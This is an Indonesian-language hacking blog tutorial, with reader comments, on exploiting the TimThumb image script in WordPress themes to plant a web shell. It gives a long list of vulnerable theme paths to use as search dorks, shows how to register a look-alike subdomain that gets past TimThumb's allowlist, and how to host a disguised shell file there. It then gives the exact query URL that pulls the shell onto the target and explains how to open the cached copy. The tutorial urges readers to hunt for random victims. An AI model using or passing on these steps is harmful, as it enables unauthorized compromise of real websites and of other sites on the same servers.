Tim-thumb Exploit WordPress adalah teknik hacking yang dapat dilakukan dengan memanfaatkan bug pada Timthumb.php atau thumb.php. Themes yang bertema magazine dan ada thumbnail di halaman indeks nya biasanya menggunakan file timthumb.php di dalamnya. Dengan bug pada file ini dapat digunakan sebagai celah untuk melakukan aksi hacking yang tentunya dengan tujuan pertama yaitu menanam shell pada web target. Jika 1 site berhasil di tanami shell, maka tidak menutup kemungkinan website yang berada pada server yang sama bisa kena ‘hack’ juga.

Okeh kita langsung mulai aja deh daripada kelamaan, hehe😀

DORK Tim-Thumb:

  • /wp-content/themes/TheStyle/timthumb.php
  • /wp-content/themes/nool/timthumb.php
  • /wp-content/themes/PersonalPress/timthumb.php
  • /wp-content/themes/SimplePress/timthumb.php
  • /wp-content/themes/DeepFocus/timthumb.php
  • /wp-content/themes/DelicateNews/timthumb.php
  • /wp-content/themes/Bold/timthumb.php
  • /wp-content/themes/eStore/timthumb.php
  • /wp-content/themes/TheProfessional/timthumb.php
  • /wp-content/themes/OnTheGo/timthumb.php
  • /wp-content/themes/AskIt/timthumb.php
  • /wp-content/themes/Nova/timthumb.php
  • /wp-content/themes/eNews/timthumb.php
  • /wp-content/themes/eVid/timthumb.php
  • /wp-content/themes/TheCorporation/timthumb.php
  • /wp-content/themes/Minimal/timthumb.php
  • /wp-content/themes/Polished/timthumb.php
  • /wp-content/themes/MyResume/timthumb.php
  • /wp-content/themes/TheSource/timthumb.php
  • /wp-content/themes/StudioBlue/timthumb.php
  • /wp-content/themes/Wooden/timthumb.php
  • /wp-content/themes/WhosWho/timthumb.php
  • /wp-content/themes/Quadro/timthumb.php
  • /wp-content/themes/Glow/timthumb.php
  • /wp-content/themes/Modest/timthumb.php
  • /wp-content/themes/Aggregate/timthumb.php
  • /wp-content/themes/ArtSee/timthumb.php
  • /wp-content/themes/versatile/timthumb.php
  • /wp-content/themes/omni-shop/timthumb.php
  • /wp-content/themes/manifesto/scripts/timthumb.php
  • /wp-content/themes/arthem-mod/scripts/timthumb.php
  • /wp-content/themes/echoes/timthumb.php
  • /wp-content/themes/Bold4/timthumb.php
  • /wp-content/themes/primely-theme/scripts/timthumb.php
  • /wp-content/themes/zenkoreviewRD/scripts/timthumb.php
  • /wp-content/themes/ElegantEstate/timthumb.php
  • /wp-content/themes/PersonalPress2/timthumb.php
  • /wp-content/themes/mypage/scripts/timthumb.php
  • /wp-content/themes/magazinum/scripts/timthumb.php
  • /wp-content/themes/pbv_multi/scripts/timthumb.php
  • /wp-content/themes/photofeature/scripts/timthumb.php
  • /wp-content/themes/ColdStone/timthumb.php
  • /wp-content/themes/HMDeepFocus/timthumb.php
  • /wp-content/themes/EarthlyTouch/timthumb.php
  • /wp-content/themes/Boutique/timthumb.php
  • /wp-content/themes/ePhoto/timthumb.php
  • /wp-content/themes/PureType/timthumb.php
  • /wp-content/themes/13Floor/timthumb.php
  • /wp-content/themes/BusinessCard/timthumb.php
  • /wp-content/themes/CherryTruffle/timthumb.php
  • /wp-content/themes/Cion/timthumb.php
  • /wp-content/themes/DailyNotes/timthumb.php
  • /wp-content/themes/eGallery/timthumb.php
  • /wp-content/themes/eGamer/timthumb.php
  • /wp-content/themes/GrungeMag/timthumb.php
  • /wp-content/themes/Influx/timthumb.php
  • /wp-content/themes/LightBright/timthumb.php
  • /wp-content/themes/LightSource/timthumb.php
  • /wp-content/themes/Magnificent/timthumb.php
  • /wp-content/themes/Memoir/timthumb.php
  • /wp-content/themes/AskIt_v1.6/AskIt/timthumb.php
  • /wp-content/themes/TidalForce/timthumb.php
  • /wp-content/themes/Atlantis/timthumb.php
  • /wp-content/themes/DelicateNewsYellow/timthumb.php
  • /wp-content/themes/themorningafter/timthumb.php
  • /wp-content/themes/arthemia-premium/scripts/timthumb.php
  • /wp-content/themes/arthemia/scripts/timthumb.php
  • /wp-content/themes/arthemia-premium-park/scripts/timthumb.php
  • /wp-content/themes/linepress/timthumb.php
  • /wp-content/themes/wedding/timthumb.php
  • /wp-content/themes/graduate/timthumb.php
  • /wp-content/themes/wp-newspaper/timthumb.php
  • /wp-content/themes/advanced-newspaper/timthumb.php
  • /wp-content/themes/journey/timthumb.php
  • /wp-content/themes/newspro/timthumb.php
  • /wp-content/themes/transcript/timthumb.php
  • /wp-content/themes/showfolio/timthumb.php
  • /wp-content/themes/quickstart/timthumb.php
  • /wp-content/themes/Restorante/timthumb.php
  • /wp-content/themes/snapwire/timthumb.php
  • /wp-content/themes/aqua-blue/includes/timthumb.php
  • /wp-content/themes/swatch/functions/thumb.php
  • /wp-content/themes/announcement/functions/thumb.php
  • /wp-content/themes/empire/functions/thumb.php
  • /wp-content/themes/supportpress/functions/thumb.php
  • /wp-content/themes/editorial/functions/thumb.php
  • /wp-content/themes/statua/functions/thumb.php
  • /wp-content/themes/briefed/functions/thumb.php
  • /wp-content/themes/faultpress/functions/thumb.php
  • /wp-content/themes/kaboodle/functions/thumb.php
  • /wp-content/themes/savinggrace/functions/thumb.php
  • /wp-content/themes/premiere/functions/thumb.php
  • /wp-content/themes/simplicity/functions/thumb.php
  • /wp-content/themes/deliciousmagazine/functions/thumb.php
  • /wp-content/themes/canvas-buddypress/functions/thumb.php
  • /wp-content/themes/bookclub/functions/thumb.php
  • /wp-content/themes/boldnews/functions/thumb.php
  • /wp-content/themes/placeholder/functions/thumb.php
  • /wp-content/themes/biznizz/functions/thumb.php
  • /wp-content/themes/auld/functions/thumb.php
  • /wp-content/themes/listings/functions/thumb.php
  • /wp-content/themes/elefolio/functions/thumb.php
  • /wp-content/themes/chapters/functions/thumb.php
  • /wp-content/themes/continuum/functions/thumb.php
  • /wp-content/themes/diner/functions/thumb.php
  • /wp-content/themes/skeptical/functions/thumb.php
  • /wp-content/themes/caffeinated/functions/thumb.php
  • /wp-content/themes/crisp/functions/thumb.php
  • /wp-content/themes/sealight/functions/thumb.php
  • /wp-content/themes/unite/functions/thumb.php
  • /wp-content/themes/estate/functions/thumb.php
  • /wp-content/themes/tma/functions/thumb.php
  • /wp-content/themes/coda/functions/thumb.php
  • /wp-content/themes/inspire/functions/thumb.php
  • /wp-content/themes/apz/functions/thumb.php
  • /wp-content/themes/spectrum/functions/thumb.php
  • /wp-content/themes/diarise/functions/thumb.php
  • /wp-content/themes/boast/functions/thumb.php
  • /wp-content/themes/retreat/functions/thumb.php
  • /wp-content/themes/cityguide/functions/thumb.php
  • /wp-content/themes/cinch/functions/thumb.php
  • /wp-content/themes/slanted/functions/thumb.php
  • /wp-content/themes/canvas/functions/thumb.php
  • /wp-content/themes/postcard/functions/thumb.php
  • /wp-content/themes/delegate/functions/thumb.php
  • /wp-content/themes/mystream/functions/thumb.php
  • /wp-content/themes/optimize/functions/thumb.php
  • /wp-content/themes/backstage/functions/thumb.php
  • /wp-content/themes/sophisticatedfolio/functions/thumb.php
  • /wp-content/themes/bueno/functions/thumb.php
  • /wp-content/themes/digitalfarm/functions/thumb.php
  • /wp-content/themes/headlines/functions/thumb.php
  • /wp-content/themes/f0101/functions/thumb.php
  • /wp-content/themes/royalle/functions/thumb.php
  • /wp-content/themes/exposure/functions/thumb.php
  • /wp-content/themes/rockstar/functions/thumb.php
  • /wp-content/themes/dailyedition/functions/thumb.php
  • /wp-content/themes/object/functions/thumb.php
  • /wp-content/themes/antisocial/functions/thumb.php
  • /wp-content/themes/coffeebreak/functions/thumb.php
  • /wp-content/themes/mortar/functions/thumb.php
  • /wp-content/themes/bigeasy/functions/thumb.php
  • /wp-content/themes/groovyphoto/functions/thumb.php
  • /wp-content/themes/groovyblog/functions/thumb.php
  • /wp-content/themes/mainstream/functions/thumb.php
  • /wp-content/themes/featurepitch/functions/thumb.php
  • /wp-content/themes/suitandtie/functions/thumb.php
  • /wp-content/themes/thejournal/functions/thumb.php
  • /wp-content/themes/myweblog/functions/thumb.php
  • /wp-content/themes/aperture/functions/thumb.php
  • /wp-content/themes/metamorphosis/functions/thumb.php
  • /wp-content/themes/bloggingstream/functions/thumb.php
  • /wp-content/themes/thestation/functions/thumb.php
  • /wp-content/themes/groovyvideo/functions/thumb.php
  • /wp-content/themes/productum/functions/thumb.php
  • /wp-content/themes/newsport/functions/thumb.php
  • /wp-content/themes/irresistible/functions/thumb.php
  • /wp-content/themes/cushy/functions/thumb.php
  • /wp-content/themes/wootube/functions/thumb.php
  • /wp-content/themes/forewordthinking/functions/thumb.php
  • /wp-content/themes/geometric/functions/thumb.php
  • /wp-content/themes/abstract/functions/thumb.php
  • /wp-content/themes/busybee/functions/thumb.php
  • /wp-content/themes/blogtheme/functions/thumb.php
  • /wp-content/themes/gothamnews/functions/thumb.php
  • /wp-content/themes/thick/functions/thumb.php
  • /wp-content/themes/typebased/functions/thumb.php
  • /wp-content/themes/overeasy/functions/thumb.php
  • /wp-content/themes/ambience/functions/thumb.php
  • /wp-content/themes/snapshot/functions/thumb.php
  • /wp-content/themes/openair/functions/thumb.php
  • /wp-content/themes/freshfolio/functions/thumb.php
  • /wp-content/themes/papercut/functions/thumb.php
  • /wp-content/themes/proudfolio/functions/thumb.php
  • /wp-content/themes/vibrantcms/functions/thumb.php
  • /wp-content/themes/freshnews/functions/thumb.php
  • /wp-content/themes/livewire/functions/thumb.php
  • /wp-content/themes/gazette/functions/thumb.php
  • /wp-content/themes/flashnews/functions/thumb.php
  • /wp-content/themes/premiumnews/functions/thumb.php
  • /wp-content/themes/newspress/functions/thumb.php
  • /wp-content/themes/8q/scripts/timthumb.php
  • /wp-content/themes/aerial/lib/timthumb.php
  • /wp-content/themes/aesthete/timthumb.php
  • /wp-content/themes/albizia/includes/timthumb.php
  • /wp-content/themes/amphion-lite/script/timthumb.php
  • /wp-content/themes/aranovo/scripts/timthumb.php
  • /wp-content/themes/arras/library/timthumb.php
  • /wp-content/themes/arras-theme/library/timthumb.php
  • /wp-content/themes/arthemix-bronze/scripts/timthumb.php
  • /wp-content/themes/artisan/includes/timthumb.php
  • /wp-content/themes/arthemix-green/scripts/timthumb.php
  • /wp-content/themes/a-simple-business-theme/scripts/timthumb.php
  • /wp-content/themes/a-supercms/timthumb.php
  • /wp-content/themes/aureola/scripts/timthumb.php
  • /wp-content/themes/aurorae/timthumb.php
  • /wp-content/themes/autofashion/thumb.php
  • /wp-content/themes/automotive-blog-theme/Quick%20Cash%20Auto/timthumb.php
  • /wp-content/themes/bikes/thumb.php
  • /wp-content/themes/automotive-blog-theme/timthumb.php
  • /wp-content/themes/black_eve/timthumb.php
  • /wp-content/themes/blex/scripts/timthumb.php
  • /wp-content/themes/bloggnorge-a1/scripts/timthumb.php
  • /wp-content/themes/blogified/timthumb.php
  • /wp-content/themes/blue-corporate-hyve-theme/timthumb.php
  • /wp-content/themes/bluemag/library/timthumb.php
  • /wp-content/themes/blue-news/scripts/timthumb.php
  • /wp-content/themes/bombax/includes/timthumb.php
  • /wp-content/themes/breakingnewz/timthumb.php
  • /wp-content/themes/brightsky/scripts/timthumb.php
  • /wp-content/themes/brochure-melbourne/includes/timthumb.php
  • /wp-content/themes/business-turnkey/assets/js/timthumb.php
  • /wp-content/themes/calotropis/includes/timthumb.php
  • /wp-content/themes/coffee-lite/thumb.php
  • /wp-content/themes/comet/scripts/timthumb.php
  • /wp-content/themes/conceditor-wp-strict/scripts/timthumb.php
  • /wp-content/themes/constructor/layouts/thumb.php
  • /wp-content/themes/constructor/libs/timthumb.php
  • /wp-content/themes/constructor/timthumb.php
  • /wp-content/themes/coverht-wp/scripts/timthumb.php
  • /wp-content/themes/cover-wp/scripts/timthumb.php
  • /wp-content/themes/dark-dream-media/timthumb.php
  • /wp-content/themes/deep-blue/timthumb.php
  • /wp-content/themes/delicate/thumb.php
  • /wp-content/themes/diamond-ray/thumb.php
  • /wp-content/themes/dieselclothings/thumb.php
  • /wp-content/themes/digitalblue/thumb.php
  • /wp-content/themes/dimenzion/timthumb.php
  • /wp-content/themes/epione/script/timthumb.php
  • /wp-content/themes/evr-green/scripts/timthumb.php
  • /wp-content/themes/famous/megaframe/megapanel/inc/upload.php
  • /wp-content/themes/famous/timthumb.php
  • /wp-content/themes/fashion-style/thumb.php
  • /wp-content/themes/featuring/timthumb.php
  • /wp-content/themes/fliphoto/timthumb.php
  • /wp-content/themes/flix/timthumb.php
  • /wp-content/themes/fordreporter/scripts/thumb.php
  • /wp-content/themes/freeside/thumb.php
  • /wp-content/themes/fresh-blu/scripts/timthumb.php
  • /wp-content/themes/go-green/modules/timthumb.php
  • /wp-content/themes/granite-lite/scripts/timthumb.php
  • /wp-content/themes/greydove/timthumb.php
  • /wp-content/themes/greyzed/functions/efrog/lib/timthumb.php
  • /wp-content/themes/gunungkidul/thumb.php
  • /wp-content/themes/heartspotting-beta/thumb.php
  • /wp-content/themes/heli-1-wordpress-theme/images/timthumb.php
  • /wp-content/themes/ideatheme/timthumb.php
  • /wp-content/themes/impressio/timthumb/timthumb.php
  • /wp-content/themes/introvert/thumb.php
  • /wp-content/themes/inuit-types/thumb.php
  • /wp-content/themes/isotherm-news/thumb.php
  • /wp-content/themes/iwana-v10/timthumb.php
  • /wp-content/themes/jambo/thumb.php
  • /wp-content/themes/jcblackone/thumb.php
  • /wp-content/themes/kratalistic/thumb.php
  • /wp-content/themes/life-style-free/thumb.php
  • /wp-content/themes/likehacker/timthumb.php
  • /wp-content/themes/litepress/scripts/timthumb.php
  • /wp-content/themes/loganpress-premium-theme-1/thumb.php
  • /wp-content/themes/magazine-basic/thumb.php
  • /wp-content/themes/magup/timthumb.php
  • /wp-content/themes/make-money-online-theme-1/scripts/timthumb.php
  • /wp-content/themes/make-money-online-theme-2/scripts/timthumb.php
  • /wp-content/themes/make-money-online-theme-3/scripts/timthumb.php
  • /wp-content/themes/make-money-online-theme-4/scripts/timthumb.php
  • /wp-content/themes/make-money-online-theme/scripts/timthumb.php
  • /wp-content/themes/meintest/layouts/thumb.php
  • /wp-content/themes/mobilephonecomparision/thumb.php
  • /wp-content/themes/moi-magazine/timthumb.php
  • /wp-content/themes/my-heli/images/timthumb.php
  • /wp-content/themes/mymag/timthumb.php
  • /wp-content/themes/mystique/extensions/auto-thumb/timthumb.php
  • /wp-content/themes/nash/theme-assets/php/timthumb.php
  • /wp-content/themes/neofresh/timthumb.php
  • /wp-content/themes/neo_wdl/includes/extensions/thumb.php
  • /wp-content/themes/new-green-natural-living-ngnl/scripts/timthumb.php
  • /wp-content/themes/newspress/thumb.php
  • /wp-content/themes/pearlie/scripts/timthumb.php
  • /wp-content/themes/pico/scripts/timthumb.php
  • /wp-content/themes/postage-sydney/includes/timthumb.php
  • /wp-content/themes/premium-violet/thumb.php
  • /wp-content/themes/probluezine/timthumb.php
  • /wp-content/themes/pronto/cjl/pronto/uploadify/check.php
  • /wp-content/themes/pronto/cjl/pronto/uploadify/uploadify.php
  • /wp-content/themes/r755/thumb.php
  • /wp-content/themes/regal/timthumb.php
  • /wp-content/themes/shaan/timthumb.php
  • /wp-content/themes/shadow-block/thumb.php
  • /wp-content/themes/shadow/timthumb.php
  • /wp-content/themes/simple-but-great/timthumb.php
  • /wp-content/themes/simplenews_premium/scripts/timthumb.php
  • /wp-content/themes/simple-red-theme/timthumb.php
  • /wp-content/themes/simple-tabloid/thumb.php
  • /wp-content/themes/simplewhite/timthumb.php
  • /wp-content/themes/slidette/timThumb/timthumb.php
  • /wp-content/themes/snowblind_colbert/thumb.php
  • /wp-content/themes/snowblind/thumb.php
  • /wp-content/themes/spotlight/timthumb.php
  • /wp-content/themes/squeezepage/timthumb.php
  • /wp-content/themes/standout/thumb.php
  • /wp-content/themes/suffusion/timthumb.php
  • /wp-content/themes/swift/includes/thumb.php
  • /wp-content/themes/swift/includes/timthumb.php
  • /wp-content/themes/swift/timthumb.php
  • /wp-content/themes/techozoic-fluid/options/thumb.php
  • /wp-content/themes/the_dark_os/tools/timthumb.php
  • /wp-content/themes/themetiger-fashion/thumb.php
  • /wp-content/themes/theory/thumb.php
  • /wp-content/themes/the-theme/core/libs/thumbnails/thumb.php
  • /wp-content/themes/thrillingtheme/thumb.php
  • /wp-content/themes/tm-theme/js/timthumb.php
  • /wp-content/themes/totallyred/scripts/timthumb.php
  • /wp-content/themes/travelogue-theme/scripts/timthumb.php
  • /wp-content/themes/true-blue-theme/timthumb.php
  • /wp-content/themes/ttnews-theme/timthumb.php
  • /wp-content/themes/typographywp/timthumb.php
  • /wp-content/themes/ugly/timthumb.php
  • /wp-content/themes/unity/timthumb.php
  • /wp-content/themes/versitility/timthumb.php
  • /wp-content/themes/vibefolio-teaser-10/scripts/timthumb.php
  • /wp-content/themes/vina/thumb.php
  • /wp-content/themes/whitemag/script/thumb.php
  • /wp-content/themes/wpapi/thumb.php
  • /wp-content/themes/wpbus-d4/includes/timthumb.php
  • /wp-content/themes/wp-creativix/scripts/timthumb.php
  • /wp-content/themes/wp-newsmagazine/scripts/timthumb.php
  • /wp-content/themes/wp-perfect/js/timthumb.php
  • /wp-content/themes/wp-premium-orange/timthumb.php
  • /wp-content/themes/xiando-one/thumb.php
  • /wp-content/themes/zcool-like/timthumb.php
  • /wp-content/themes/zcool-like/uploadify.php
  • /wp-content/themes/twittplus/scripts/timthumb.php

Search google dari dork diatas terus pilih salah satu web.

Contoh saya mendapatkan target ini :

http://www.target.com/wp-content/themes/wp-premium-orange/timthumb.php

Kita tinggal memasukan Malicious URL. Ingat timthumb hanya memperbolehkan beberapa situs yang bisa di thumb (dibuat thumbnail) dari external link, seperti blogger.com , picasa.com ,wordpress.org dll
(untuk lebih jelasnnya silahkan anda membuka script timthumb)

Lalu bagaimana caranya, jika web kita tidak termasuk? Pertanyaan yang bagus dan jwban yang singkat “Kita buat Subdomain mirip dengan situs2 tersebut”
Contoh : blogger.com.websitekamu.com | picasa.com.websitekamu.org dst.

Setelah kita buat ex “picasa.com.websitekamu.org” kita Upload shell yang ber-ekstensi .gif .jpeg atau .txt
contoh lagi :

picasa.com.websitekamu.org/shell.txt
picasa.com.websitekamu.org/shell.php.jpeg
picasa.com.websitekamu.org/shell.php.gif

Balik ke atas kita lihat

http://www.target.com/wp-content/themes/wp-premium-orange/timthumb.php

Kita hanya menambahkan query saja, jadi akan seperti ini :

http://www.target.com/wp-content/themes/wp-premium-orange/timthumb.php?src=picasa.com.websitekamu.org/shell.txt?

Kenapa saya menambahkan tanda tanya …/shell.txt?

“Supaya terbaca file php di target kita (denger-denger sih :D)”

Kalo berhasil biasanya nama tadi akan di encrypt menjadi md5.
Sekarang kita cek, ada beberapa thema yang thumbnya di folder /temp ada juga /cache

coba kita masukan satu2

http://www.target.com/wp-content/themes/wp-premium-orange/temp

http://www.target.com/wp-content/themes/wp-premium-orange/cache

kadang2 ada website yang open base dir pada dir tersebut.(untung2an)

Yaudah apalagi tinggal masukin aja kan?🙂

http://www.target.com/wp-content/themes/wp-premium-orange/cache/MD5_tadi.php

Kalo ane sih biasanya md5nya udah ada terpampang di halaman timthumb (pass error)😀

Okeh sekian dulu tutor kali, terus mencoba dan bersabar mencari target tentunya, hehe.. semoga berhasil🙂

sumber

Comments
  1. rindra92 says:

    wah keren gan infonya, ane coba dulu nih

  2. noor_indah says:

    itu dork.a banyak banget yang bner yg mana ya?

  3. dinov says:

    saya mau belajar bot timthumb. dari script, scan, sampai gabungkan ke shell. bolehkan saya belajar pada abang. saya tunggu ilmumya di email

  4. kaLo harus search , berarti ini hack situs secara random ya… ada yg Langsung jika ditentukan web tertentu gak?

Silakan Komentar Jika Kurang Jelas

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s